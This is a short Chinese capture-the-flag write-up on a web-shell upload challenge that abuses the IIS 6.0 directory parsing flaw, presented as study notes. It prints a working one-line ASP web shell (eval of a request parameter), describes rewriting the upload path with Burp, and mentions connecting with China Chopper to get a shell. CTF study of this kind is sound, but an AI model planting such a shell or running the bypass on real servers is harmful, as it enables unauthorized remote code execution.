文件上传之 IIS6.0 目录解析漏洞

简述：

题目链接：Webshell文件上传

原理：利用IIS6.0服务器的目录解析漏洞。

IIS6.0解析漏洞：对目录名为***.asp下的所有文件，都以asp文件类型进行解析。

整个题目进行了三次尝试：

1. 查看js脚本并禁用（失败，后台也有检测）
2. 更改文件为jpg后缀抓包改回php（失败，文件名被更改，路径未知，无法定位文件）
3. 针对IIS6.0的漏洞，进行重写目录（成功！）

过程：

1. 查看服务器版本

版本为IIS6.0，存在解析漏洞。

2. 创建asp一句话木马
   <%eval request ("pass")%>

保存为txt文件。

3. 上传文件，打开bp抓包，修改数据包中的文件路径

原始路径：

改为：

4. 上传成功，访问文件

上传成功：

访问时页面空白，说明txt文件已被解析为asp文件。

5. 连接菜刀，得到webshell，查看文件管理

6. 找到Key

（学习整理，若有问题请指出。）